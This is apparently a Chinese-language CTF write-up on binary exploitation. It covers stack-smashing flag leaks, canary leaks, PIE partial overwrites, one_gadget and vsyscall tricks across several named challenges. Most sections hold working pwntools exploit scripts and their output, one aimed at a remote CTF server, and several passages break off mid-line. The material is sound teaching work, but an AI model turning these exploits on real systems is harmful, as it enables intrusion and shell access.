read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL); close(SHIDWORD(stat_loc.__iptr)); puts("This is GUESS FLAG CHALLENGE!"); while ( 1 ) {   if ( v6 >= v7 )   {     puts("you have no sense... bye :-) ");     return 0LL;   }   v5 = sub_400A11();   if ( !v5 )     break;   ++v6;   wait((__WAIT_STATUS)&stat_loc); } puts("Please type your guessing flag"); gets(&s2); if ( !strcmp(&buf, &s2) )   puts("You must have great six sense!!!! :-o "); else   puts("You should take more effort to get six sence, and one more challenge!!"); return 0LL; } pwn@pwn-PC:~/Desktop$ checksec GUESS [*] '/home/pwn/Desktop/GUESS'   Arch:     amd64-64-little   RELRO:   Partial RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     No PIE (0x400000) 先捋一捋流程首先由于使用了gets,因此可以无限制溢出,并且有三次机会。然后发现flag.txt中flag值通过read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL)读入到了栈中,&buf处。最后开启了canary,可以使用stack smashing的方法泄漏处flag的值。那么怎样去构造呢?想要获取flag的值,就得获取buf的栈中的地址,因为ASLR的原因,那么需要先泄漏libc的基址,根据偏移去计算出加载后的栈中buf的地址。但是现在问题是得到了libc的的加载地址,怎么算出stack的加载地址,因为每次加载的时候,两者相距的长度变化的。解决的办法 pwn@pwn-PC:~/Desktop$ objdump -d /usr/lib/x86_64-linux-gnu/libc-2.24.so | grep __environ dc97d: 48 c7 05 c0 f5 2b 00   movq   $0xfff,0x2bf5c0(%rip)       # 39bf48 <__environ@@GLIBC_2.2.5+0x10> ..... __environ在libc中的偏移量为0x39bf38。 这样一来,栈中environ的值和buf的栈地址的相对位置是固定的,可以根据environ的值-偏移量=buf的栈地址。那么程序中这三次输入分别是:第一次,通过泄露函数的got表内容,计算得到libc基址。第二次,通过libc基址和偏移量计算得到&environ,获取environ的值。第三次,通过_environ的值,计算出buf的栈地址,泄露buf中存储的flag的值。步骤如下:第一次泄漏libc基址 from pwn import * # context.arch = 'amd64' # context.log_level = 'debug' # context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] p = process('./GUESS') elf = ELF("./GUESS") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') gets_got = elf.got['gets'] # print hex(gets_got) p.recvuntil('guessing flag\n') payload = 'a' * 0x128 + p64(gets_got) p.sendline(payload) p.recvuntil('detected ***: ') gets_addr = u64(p.recv(6).ljust(0x8,'\x00')) libc_base_addr = gets_addr - libc.symbols['gets'] print 'libc_base_addr: ' + hex(libc_base_addr) pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './GUESS': pid 28733 [*] '/home/pwn/Desktop/GUESS'   Arch:     amd64-64-little   RELRO:   Partial RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     No PIE (0x400000) [*] '/lib/x86_64-linux-gnu/libc.so.6'   Arch:     amd64-64-little   RELRO:   Partial RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     PIE enabled libc_base_addr: 0x7ff71434f000 第二次泄漏_environ的值 environ_addr = libc_base_addr + libc.symbols['_environ'] # print 'environ_addr: ' + hex(environ_addr) payload1 = 'a' * 0x128 + p64(environ_addr) p.recvuntil('Please type your guessing flag') p.sendline(payload1) p.recvuntil('stack smashing detected ***: ') stack_addr = u64(p.recv(6).ljust(0x8,'\x00')) print 'stack_addr: '+hex(stack_addr) pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './GUESS': pid 29707 [*] '/home/pwn/Desktop/GUESS'   Arch:     amd64-64-little   RELRO:   Partial RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     No PIE (0x400000) [*] '/lib/x86_64-linux-gnu/libc.so.6'   Arch:     amd64-64-little   RELRO:   Partial RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     PIE enabled libc_base_addr: 0x7f8d02122000 stack_addr: 0x7ffc5a61c908 第三次泄漏flag的值 计算出stack_addr和buf_addr的相距长度 pwndbg> distance 0x7fffffffcca0 0x7fffffffce08 0x7fffffffcca0->0x7fffffffce08 is 0x168 bytes (0x2d words) payload2 = 'a' * 0x128 + p64(stack_addr - 0x168) p.recvuntil('Please type your guessing flag') p.sendline(payload2) p.recvuntil('stack smashing detected ***: ') flag = p.recvline() print 'flag:' + flag pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './GUESS': pid 29877 [*] '/home/pwn/Desktop/GUESS'   Arch:     amd64-64-little   RELRO:   Partial RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     No PIE (0x400000) [*] '/lib/x86_64-linux-gnu/libc.so.6'   Arch:     amd64-64-little   RELRO:   Partial RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     PIE enabled libc_base_addr: 0x7f8d02122000 stack_addr: 0x7ffc5a61c908 flag: flag{stack_smash} exp: from pwn import * # context.arch = 'amd64' # context.log_level = 'debug' # context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] p = process('./GUESS') elf = ELF("./GUESS") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') gets_got = elf.got['gets'] # print hex(gets_got) p.recvuntil('guessing flag\n') payload = 'a' * 0x128 + p64(gets_got) p.sendline(payload) p.recvuntil('detected ***: ') gets_addr = u64(p.recv(6).ljust(0x8,'\x00')) libc_base_addr = gets_addr - libc.symbols['gets'] print 'libc_base_addr: ' + hex(libc_base_addr) environ_addr = libc_base_addr + libc.symbols['_environ'] # print 'environ_addr: ' + hex(environ_addr) payload1 = 'a' * 0x128 + p64(environ_addr) p.recvuntil('Please type your guessing flag') p.sendline(payload1) p.recvuntil('stack smashing detected ***: ') stack_addr = u64(p.recv(6).ljust(0x8,'\x00')) print 'stack_addr: '+hex(stack_addr) payload2 = 'a' * 0x128 + p64(stack_addr - 0x168) p.recvuntil('Please type your guessing flag') p.sendline(payload2) p.recvuntil('stack smashing detected ***: ') flag = p.recvline() print 'flag:' + flag 题目三 Jarvis OJ中的smashes,与题目一一样,但是可以直接在本地显示错误信息,只是提供了一个复现场景 pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x400d20) + "\n"'|./smashes.44838f6edd4408a53feb2e2bbfe5b229 Hello! What's your name? Nice to meet you, AAAAAA..... Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: PCTF{Here's the flag on server} terminated exp: from pwn import * p=remote("pwn.jarvisoj.com","9877") p.recvuntil("name?"); flag_addr=0x400d20                                                                                                 payload='a'*0x218+p64(flag_addr)+'\n' p.sendline(payload) p.recvuntil('stack smashing detected ***: ') flag = p.recvline() print flag pwn@pwn-PC:~/Desktop$ python exp.py [+] Opening connection to pwn.jarvisoj.com on port 9877: Done PCTF{57dErr_Smasher_good_work!} terminated [*] Closed connection to pwn.jarvisoj.com port 9877 ```` # 题目四 main函数中存在栈溢出,源码如下: int __cdecl main(int argc, const char argv, const char envp){ __int64 v4; // rsp+18h char v5; // rsp+20h char v6; // rsp+A0h unsigned __int64 v7; // rsp+128h v7 = __readfsqword(0x28u); putenv("LIBC_FATAL_STDERR_=1", argv, envp); v4 = fopen64("flag.txt", "r"); if ( v4 ) { fgets(&v5, 32LL, v4); fclose(v4); printf((unsigned __int64)"Interesting data loaded at %p\nYour username? "); fflush(0LL, &v5); read(0LL, &v6, 1024LL); } else { puts("Error leyendo dato pwn@pwn-PC:~/Desktop$ checksec xpl[*] '/home/pwn/Desktop/xpl' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x4c0000 r-xp c0000 0 /home/pwn/Desktop/xpl 0x6bf000 0x6c2000 rw-p 3000 bf000 /home/pwn/Desktop/xpl 0x6c2000 0x6e8000 rw-p 26000 0 [heap] 0x7ffff7ffa000 0x7ffff7ffd000 r--p 3000 0 [vvar] 0x7ffff7ffd000 0x7ffff7fff000 r-xp 2000 0 开启了ASLR,并且可以知道程序将flag.txt的flag值存放在了char v5 //[rsp+20h] [rbp-110h]中,这看起来与题目二相似,可以使用其思路,但是vmmap发现这没有动态编译,那么此思路就pass掉,再去找其他的办法,百思不得其解时,运行一下程序,发现会输出一个地址,回过头去看代码才发现因自己的知识储备太少,没有注意到prinf的中%p的是匹配的哪。 pwn@pwn-PC:~/Desktop$ ./xpl Interesting data loaded at 0x7ffe65dfcfd0Your username? 源码: printf((unsigned __int64)"Interesting data loaded at %p\nYour username? "); 调试: 0x4010d9 <main+123> lea rax, [rbp - 0x110] 0x4010e0 <main+130> mov rsi, rax 0x4010e3 <main+133> mov edi, 0x493b28 0x4010e8 <main+138> mov eax, 0 ► 0x4010ed <main+143> call printf <0x408770> format: 0x493b28 ◂— 'Interesting data loaded at %p\nYour username? ' vararg: 0x7fffffffcc00 ◂— 'flag{stack 0x4010f2 <main+148> mov edi, 0 0x4010f7 <main+153> call fflush <0x408c90> 0x4010fc <main+158> lea rax, [rbp - 0x90] 0x401103 <main+165> mov edx, 0x400 0x401108 <main+170> mov rsi, rax────────────────────────[ STACK ]────────────────────────00:0000│ rsp 0x7fffffffcbe0 —▸ 0x7fffffffcdf8 —▸ 0x7fffffffd0d6 ◂— '/home/pwn/Desktop/xpl'01:0008│ 0x7fffffffcbe8 ◂— 0x10000000002:00 发现程序一开始输出的地址,就是v5所在的栈地址,也就是flag的地址,步骤如下: 找到__libc_argv[0]的地址: 43:0218│ rsi 0x7fffffffcdf8 —▸ 0x7fffffffd0d6 ◂— '/home/pwn/Desktop/xpl' 计算出偏移量: pwndbg> i r rbprbp 0x7fffffffcd10 0x7fffffffcd10pwndbg> x /gx 0x7fffffffcd10-0x900x7fffffffcc80: 0x000000037ffffa00pwndbg> distance 0x7fffffffcc80 0x7fffffffcdf80x7fffffffcc80->0x7fffffffcdf8 is 0x178 bytes (0x2f words) 获取flag: from pwn import * sh = process('./xpl')data = sh.recvuntil("username?")address = p64(int(data.split()[4], 16))sh.send("A"*0x178 + address)print sh.recvline() pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './xpl': pid 4363 * stack smashing detected *: flag{stack_smash} # partial write 根据前面的内容可以知道在开启ASLR+PIE的后,每次加载的地址是在一定的范围随机变化的,只不过由于内存页为0x1000空间大小的限制和加载后相对偏移不会变的缘故,造成了加载后的地址的最后一个半字节长度的内容是不变的。 partial write则是利用了这一点,内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的,因此我们可以通过覆盖地址的后几位来可以控制程序的执行流。 另外,partial overwrite不仅仅可以用在栈上,同样可以用在其 #include <unistd.h>#include <stdlib.h>void flag(){ system("cat flag");}void vuln(){ char buf[40]; puts("Input your Name:"); read(0, buf, 0x30); printf("Hello %s:\n", buf); read(0, buf, 0x60); }int main(int argc, char const *argv[]){ vuln(); return 0;} pwn@pwn-PC:~/Desktop$ gcc -fpie -pie -fstack-protector -o test-pie partial.cpwn@pwn-PC:~/Desktop$ checksec test-pie [*] '/home/pwn/Desktop/test-pie' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 此题目所有保护都开着,首先发现有canary,就想着使用stack smash泄漏flag函数的地址,然后此地址作为第二次read的ret_addr地址进行执行,但是只有第二次read操作存在栈溢出,而且溢出的距离无法到达到覆盖__libc_argv[0]的距离,假设即便能覆盖,在PIE的情况下也很难确定.text的地址,因此本题使用partial overwrite的方法进行利用。 可以发现两次read操作,只有第二次read操作存在栈溢出,但是又有canary,很难利用第二次的栈溢出,那么怎么去解决? 首先需要获取canary的值, 因为read函数并不会给输入的末尾加上 \x00 字符, from pwn import *context.arch = 'amd64'context.log_level = 'debug'context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']offset = 0x28p = process('./test-pie')p.recvuntil("Name:\n")payload='a' * offset gdb.attach(p)p.sendline(payload) p.recvuntil('a' * offset)p.recv(1)canary = u64('\0' + p.recvn(7) pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './test-pie': pid 28293[DEBUG] Received 0x11 bytes: 'Input your Name:\n'[DEBUG] Wrote gdb script to '/tmp/pwnozkM_1.gdb' file "./test-pie"[*] running in new terminal: /usr/bin/gdb -q "./test-pie" 28293 -x "/tmp/pwnozkM_1.gdb"[DEBUG] Laun 可以看到,sent了0x29个字符,因为buf的栈地址到canary值的地址的相距0x28个字符,再加上覆盖的canary的末尾字符总共0x29个字符,栈中覆盖情况如下: read(0, buf, 0x30)函数执行完成后:───────────────────────────────────[ STACK ]─────────────────────────────────────────00:0000│ rax r8 rsp 0x7ffcd84e68d0 ◂— 0x6161616161616161 ('aaaaaaaa')... ↓05:0028│ 0x7ffcd84e68f8 ◂— 0x5764f3c02805770a06:0030│ rbp 0x7ffcd84e6900 —▸ 0x7ffcd84e6920 —▸ 0x55a96ce218b0 ◂— pus 覆盖ret_addr控制程序的指令流 首先找到flag的地址,最后一个半字节为0x7f0,由于内存是按页夹在的 0x1000为一页,因此每次加载这三位是不会变的,那么在payload中发送的时候(按字节发送,发送4位),第四位随便填写一个即可,每次对随机加载后的flag函数起始地址进行碰撞,因为范围在0x0 -0xf,所以碰撞成功的几率挺大的。 pwndbg> disassemble flagDump of assembler code for function flag: 0x00005555555547f0 <+0>: push rbp 0x00005555555547f1 <+1>: mov rbp,rsp 0x00005555555547f4 <+4>: lea rdi,[rip+0x139] # 0x555555554934 0x00005555555547fb <+11>: call 0x555555554680 system@plt 0x0000555555554800 <+16>: nop 0x000055555555 构造payload,覆盖ret_addr的末尾两个字节 p.recvuntil(":\n") payload='a' * offset + p64(canary) + 'bbbbbbbb' + '\xf0\x47'p.send(payload) 可以看到RAX、Canary、ret_addr的末尾两个字节都已经成功覆盖,后面的工作就是去碰撞。─────────────────────────────[ REGISTERS ]──────────────────────────────── RAX 0xa4c9b736e3763700 RBP 0x7ffe773d1da0 ◂— 0x6262626262626262 ('bbbbbbbb') RSP 0x7ffe773d1d70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' RIP 0x55cd0345386f ◂— xor rax, qwo exp: from pwn import *context.arch = 'amd64'context.log_level = 'debug'context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']offset = 0x28while True: try: p = process('./test-pie') p.recvuntil("Name:\n") payload='a' * offset # gdb.attach(p) p.sendline(payload) p.recvuntil('a' * offset) p.recv(1) canary payload='a' * offset + p64(canary) + 'bbbbbbbb' + '\xf0\x47' p.send(payload) flag = p.recvall() if 'flag' in flag: exit(0) except Exception as e: p.close() print e pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './test-pie': pid 17736[DEBUG] Received 0x11 bytes: 'Input your Name:\n'[DEBUG] Sent 0x29 bytes: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'......[+] Receiving all data: Done (37B)[DEBUG] Received 0x25 bytes: 'flag{23dih3879sad8dsk84ihv 总结:在该情况下,因为有canary保护,所以先泄漏canary ,进而构造payload绕过canary覆盖返回地址来执行指定的函数。 # 题目二 2018年XNUCA中的gets题目 int64 fastcall main(__int64 a1, char a2, char a3){ __int64 v4; // rsp+0h gets((int64)&v4, (int64)a2, (__int64)a3); return 0LL;} pwn@pwn-PC:~/Desktop$ checksec gets [*] '/home/pwn/Desktop/gets' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)依然没有PIE,但是开了ASLR保护 只有一个gets函数而且存在明显栈溢出漏洞,想象空间很大,可以构造execve函数进行getshell,由于开启了ASLR,必须先构造read或者puts函数泄漏libc的地址,但代码段又没有这些函数,依然得需要先知道libc的加载地址。那么既然开启地址随机化,尝试partial overwrite去覆盖返回地址(覆盖成onegadget的地址)达到getshell的目的。 ps:one-gadget是glibc里调用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget。在我们能够控制ip的时候,用one-gadget来做RCE(远程代码执行)非常方便,一般地,此办法在64位上常用,却在32位的libc上会很难去找,也很难用。 pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so0x3f306 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL 0x3f35a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL 0xd695f execve("/bin/sh", rsp+0x60, environ)constraints: [rsp+0x60] == NULL 可以看到栈中main函数的返回地址是0x7ffff7a5a2e1(__libc_start_main+241),继续往下看还发现 0x7ffff7de896b (_dl_init+139)。 有两个地址,这有什么用呢?继续往下看 发现两个地址分别属于libc和ld,而且经过多次实验发现在每次加载中,Id.so和libc.so的加载地址的相对位置是固定的,也就是偏移量不变。 就好比开头提到的,一个比较自然的想法就是我们通过 partial overwrite 来修改0x7ffff7a5a2e1的末尾两位字节为0xf306(如题目一的思路),经过多次碰撞得到onegadget的地址,最终getsh pwndbg> xinfo __libc_start_mainExtended information for virtual address 0x7ffff7a5a1f0: Containing mapping: 0x7ffff7a3a000 0x7ffff7bcf000 r-xp 195000 0 /usr/lib/x86_64-linux-gnu/libc-2.24.so Offset information: Mapped Area 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0 File (Base) 0x7ffff7a5a1f0 = 0x7fff 一般来说 libc_start_main 在 libc 中的偏移不会差的太多,那么显然我们如果覆盖 __libc_start_main+240 ,显然是不可能的。 那么第二个地址_dl_init+139就有用了,将其覆盖为0x7ffff700f306,按照上面的方法看看是否可行。 onegadge:0x7ffff700f306 那么根据偏移计算出来 libc的基址:0x7ffff6fd0000 此时_dl_init+139的地址:0x7ffff7xxxxxx(给一个最小的地址:0x7ffff7000000),此时_dl_init的(最小)偏移量(距离libc)为0x2FF75 libc和ld两 pwndbg> xinfo _dl_initExtended information for virtual address 0x7ffff7de88e0: Containing mapping: 0x7ffff7dd9000 0x7ffff7dfc000 r-xp 23000 0 /usr/lib/x86_64-linux-gnu/ld-2.24.so Offset information: Mapped Area 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0 File (Base) 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0x 也就是说,当libc的基址为0x7ffff6fd0000是,此时覆盖栈上_dl_init+139为0x7ffff700f306就一定能够碰撞onegadget的地址,这是其中一个可能,还有很多种其他的可能,虽然碰撞几率不大,也不会很小,其实证明了这么久其实就是卡一个0x7ffff6fdxxxxx和0x7ffff7xxxxx这个点的几率。 下面的操作就简单易懂了,解决怎么去覆盖的问题即可。 相隔那么远,怎么在栈上移动? 那么就需要找到合适的gadget了,只需要push_ret那么就可以准确定位到存放_dl_init+139地址。使用__libc_csu_init中的gadget。 pwndbg> x /10i 0x40059b 0x40059b: pop rbp 0x40059c: pop r12 0x40059e: pop r13 0x4005a0: pop r14 0x4005a2: pop r15 0x4005a4: ret 移动的过程如下: 因为这个需要概率,因此不知道payload是不是正确,还在那一直跑,先调试代码,可以发现都是按照设想去执行 只是没成功,然后就是一直跑,直到跑出shell为止。 exp: from pwn import * context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] offset = 0x18 while True: try: p = process('./gets') payload='a' * offset + p64(0x40059B) payload += 'b' * 8 * 5 + p64(0x40059B) + 'c' * 8 * 5 + p64(0x40059B) payload += 'c' * 8 * 5 + '\x06\xa3' gdb.attach(p) p.sendline(payload) p.sendline('ls') data = p.recv() print data p.interactive() p.close() except Exception: p.close() continue 这就需要耐心了,可能几十分钟都没结果(我跑了好久),然后去修改一下partial overwrite的值,将\x06\x03修改成\x06\xa3,一分钟左右就跑出来了。 # 题目三 HITBCTF2017中的1000levels题目,梳理流程,函数有点多 _BOOL8 __fastcall level(signed int a1){ __int64 v2; // rax __int64 buf; // rsp+10h __int64 v4; // rsp+18h __int64 v5; // rsp+20h __int64 v6; // rsp+28h unsigned int v7; // rsp+30h unsigned int v8; // rsp+34h unsigned int v9; // rsp+38h int i; // rsp+3Ch buf = 0LL; v4 = 0LL; v5 = 0LL; v6 = 0LL; if ( pwn@pwn-PC:~/Desktop$ checksec 1000levels [*] '/home/pwn/Desktop/1000levels' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled 主要看level函数,栈溢出发生在 level函数中 __int64 buf; // [rsp+10h] [rbp-30h] read(0, &buf, 0x400uLL) 显然发生了溢出。其中还是开启了PIE保护。 程序的流程是通过go函数进入关卡,获取设置的关卡数数目,在level函数中进行递归执行,程序有点复杂,就没有头绪,那么先从溢出点看,怎么利用这个溢出点?利用题目二的思路,使用partial overwrite覆盖返回地址为onegadget地址,也就是覆盖0x238距离外的0x7ffff7de896b (_dl_init+139) ,然后再利用合适的gadget(因为PIE的缘故 int hint(void){ signed __int64 v1; // rsp+8h int v2; // rsp+10h __int16 v3; // rsp+14h if ( show_hint ) { sprintf((char *)&v1, "Hint: %p\n", &system, &system); } else { v1 = 5629585671126536014LL; v2 = 1430659151; v3 = 78; } return puts((const char *)&v1);} 无论执不执行sprintf((char *)&v1, "Hint: %p\n", &system, &system)这条语句,在之前执行这么一段指令 0x555555554cfb <hint()+11> mov rax, qword ptr [rip + 0x2012ce]0x555555554d02 <hint()+18> mov qword ptr [rbp - 0x110], rax 将[rip + 0x2012ce]=>0x7ffff7a79480 (system)放在栈中位置是hint函数的rbp - 0x110,也就是只要执行hint函数,那么system函数就会被放在rbp - 0x110处,而且这个位置很眼熟,在go函数中也有 int go(void){ int v1; // ST0C_4 __int64 v2; // rsp+0h __int64 v3; // rsp+0h int v4; // rsp+8h __int64 v5; // rsp+10h signed __int64 v6; // rsp+10h signed __int64 v7; // rsp+18h __int64 v8; // rsp+20h puts("How many levels?"); v2 = read_num(); if ( v2 > 0 ) v5 = v2; else puts("Coward"); puts("Any mor v5和v6都是rbp-0x110,由于栈帧开辟的原理,main函数中的hint函数和go函数的的rbp应该是同一个地址,因此在执行完hint函数后,再去执行go函数,v5和v6中保存了system的地址,而且刚才说的栈溢出发生在level函数中,由于栈帧开辟的原理,level函数的栈帧在go函数的栈帧的低位置处,可以通过栈溢出和合适的ret的gadget去执行system函数,不过这有两个前提,一、rbp-0x110的地址内容不会被覆盖;二、需要pop_rsi_ret的gadget和'/bin/sh'的地址,这看起来很难满足,继续看程序逻辑,会发现 if ( v2 > 0 ) v5 = v2;else puts("Coward");puts("Any more?");v3 = read_num();v6 = v5 + v3; 也就说只要v2<=0,rbp-0x110就不会被覆盖,而且v6 = v5 + v3可以灵活运用,可以看成onegadget_addr = system_addr + (onegadget_addr-system_addr),因为刚才页提到了最终都要往onegadget上靠,而且我们知道,无论怎么加载,偏移量始终是固定的。这样分析完后,思路就很明确了,显示构造onegadget_addr,然后利用栈溢出和合适的ret的gadget去执行onegadget。 第一步得找到level返回地址和rbp-0x110的距离 pwndbg> disassemble goDump of assembler code for function _Z2gov: 0x0000555555554b7c <+0>: push rbp 0x0000555555554b7d <+1>: mov rbp,rsp 0x0000555555554b80 <+4>: sub rsp,0x120 0x0000555555554b87 <+11>: lea rdi,[rip+0x506] # 0x555555555094 0x0000555555554b8e <+18>: call 0x555555554900 puts@plt 0x0000 在go的汇编代码中可以看到,总共开辟了0x120大小的栈帧,v5和v6在rsp+10h中,很容易可以计算出level返回地址距离system_addr的距离是0x18,栈结构如下: 0x7fffffffcb88 | 0x555555554c74 (go()+248) 0x7fffffffcb90 | 0x1 0x7fffffffcb98 | 0x555560531c95 0x7fffffffcba0 | 0x2 经过覆盖后0x7fffffffcba0中存的是onegadget的地址。然后在使用合适的gadget越过0x7fffffffcb88、0x7fffffffcb90和0x7fffffffcb98三个内存单元,控制程序执行0x7fffffffcba0的内容。 第二步寻找合适的gadget。 在PIE的情况下,怎么寻找这个合适的gadget,在stack-pivot篇幅中的第一部分ASLR和PIE的区别的时候,一直提到一个点,无论开启ASLR,还是PIE+ASLR,vsyscall的加载地址依然不变,始终为0xffffffffff600000 - 0xffffffffff601000。 简单介绍一下 seg000:0000000000000000 mov rax, 60hseg000:0000000000000007 syscall ; Low latency system callseg000:0000000000000009 retnseg000:0000000000000009 ; ---------------------------------------------------------------------------seg000:000000000000000A align 400hseg000:0000000000000400 mov rax, 0C9hseg000: 显示的这三个系统调用分别是:gettimeofday, time和getcpu。值得注意的是,在我们选择gadget的是,直接调用vsyscall中的retn指令,会提示段错误,这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错 所以不能直接调用ret,应该从头开始。 第三步找到onegadget pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so0x3f306 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL 0x3f35a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL 0xd695f execve("/bin/sh", rsp+0x60, environ)constraints: [rsp+0x60] == NULL 准备内容做完后就开始构造payload,但是本地测试一直失败 ,调试时发现每次执行vsyscall的系统调用的的时候,会报出Program recevied signal SIGSEGV(fault address 0xa)的错误提示,可是没有查到原因(求大佬指点),后来在攻防世界中找到一个一样的题目'100levels',只不过最高的循环从1000变为了100,思路没有变,改了下exp就利用成功了,于是更纳闷为什么本地会报这种错误。 from pwn import *libc = ELF("./libc.so") p = process('./1000levels') p = remote('111.200.241.244',45392) one_gadget = 0x3f306 one_gadget = 0x4526asystem = libc.symbols['system'] print r.recvuntil("Choice:\n")p.sendline('2')print r.recvuntil("Choice:\n")p.sendline('1')print r.recvuntil("How many levels?\n")p.sendline('0')print r.recvuntil("Any more?\n")p.sendline(str(one_gadget-system)) def calc(): print r.recvuntil("Question: ") num1 = int(r.recvuntil(" ")) print r.recvuntil("* ") num2 = int(r.recvuntil(" ")) ans = num1 * num2 print r.recvuntil("Answer:") p.sendline(str(ans)) for i in range(999): for i in range(99): calc()print p.recvuntil("Answer:")payload = 'a' * 0x38 + p64(0xffffffffff600000) * 3p.send(payload)p.interactive() # 题目四 2019年CISCN中your_pwn的题目,源码如下: int64 fastcall main(__int64 a1, char a2, char a3){ char s; // rsp+0h unsigned __int64 v5; // rsp+108h v5 = __readfsqword(0x28u); setbuf(stdout, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); memset(&s, 0, 0x100uLL); printf("input your name \nname:", 0LL); read(0, &s, 0x100uLL); while ( (unsigned int _BOOL8 sub_B35(){ int v1; // rsp+4h int v2; // rsp+8h int i; // rsp+Ch char v4[64]; // rsp+10h char s; // rsp+50h unsigned __int64 v6; // rsp+158h v6 = __readfsqword(0x28u); memset(&s, 0, 0x100uLL); memset(v4, 0, 0x28uLL); for ( i = 0; i <= 40; ++i ) { puts("input index"); __isoc99_scanf("%d", &v1); pwn@pwn-PC:~/Desktop$ checksec pwn[*] '/home/pwn/Desktop/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 又是保护全开,根据程序的代码可以发现存在数组越界漏洞,其中v1可以控制,因为v4这个数组在读取索引的时候没有限制,引发数组越界漏洞,而且代码中分别对数组进行了读和写操作,那么造成栈空间任意地址读写(任意地址读和任意地址写)。由于PIE和canary的存在,所以思路是先泄露栈中的某个返回地址,获取栈中的某些函数(main函数的返回地址__libc_start_main+241)的加载地址,从而计算出libc的基址,进而计算得到onegadget的地址,然后写入返回地址进行ROP即可。 在构造payload之前,先分析一下利用过程。 第一步泄漏main函数的返回地址__libc_start_mai pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so0x3f306 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL 0x3f35a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL constraints: [rsp+0x60] == NULL 那么此时前期工作就做完,之后利用数组溢出泄漏基址,然后利用数组的写入操作进行rop,执行onegadget,整体的分析如下图: 结合前几节学过的知识,发现能够对过程进行简化,我们泄露0x7fffffffcd18 —▸ 0x7ffff7a5a2e1 (__libc_start_main+241) 的地址,只需要泄漏后后三位(因为前面的加载地址都一样)即可 查看__libc_start_main+241末尾三个字节:pwndbg> x /3bx 0x7fffffffcd180x7fffffffcd18: 0xe1 0xa2 0xa5 :0xa5a2e1 使用后三位字节进行计算:0xa5a2e1- 0x201f0 - 241 = 0xa3a000 :libc addr0xa3a000 + 0x3f306 = 0xa79306 | onegadget addr 将onegadget addr进行写入:0x7fffffffcd18 :0x06 :v2 = 60x7fffffffcd19 :0x93 :v2 = 1470x7fffffffcd1a :0x7a :v2 = 122 写入位置:v4[0x278] :v1 = 632v4[0x279] :v1 = 633v4[0x280] :v1 = 634 注意在进行printf时,是输出是格式%x,运用了一次MOVSX指令(说明:带符号扩展传送指),因此在exp中需要对输出的内容进行处理,exp如下: from pwn import * context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.24.so")p = process('./pwn')one_gadget = 0x3f306libc_start_main_addr = libc.symbols['__libc_start_main']libc_start_main_241 = 0xf1offset = 0x278newValue = 1 def byte(addr): libc_start_main = '' if(len(addr)<2): libc_start_main = '0' + addr elif(len(addr)==8): libc_start_main = addr[-2:] else: libc_start_main = addr return libc_start_main p.recvuntil("name:")p.sendline('pwn') p.recvuntil("input index\n")p.sendline(str(offset))p.recvuntil("now value(hex) ")addr = p.recvuntil('\n')[:-1]p.sendline(str(newValue)) p.recvuntil("input index\n")p.sendline(str(offset+1))p.recvuntil("now value(hex) ")addr1 = p.recvuntil('\n')[:-1]p.sendline(str(newValue)) p.recvuntil("input index\n")p.sendline(str(offset+2))p.recvuntil("now value(hex) ")addr2 = p.recvuntil('\n')[:-1]p.sendline(str(newValue)) libc_start_main = byte(addr2) + byte(addr1) + byte(addr)libc_addr = int('0x'+libc_start_main,16) 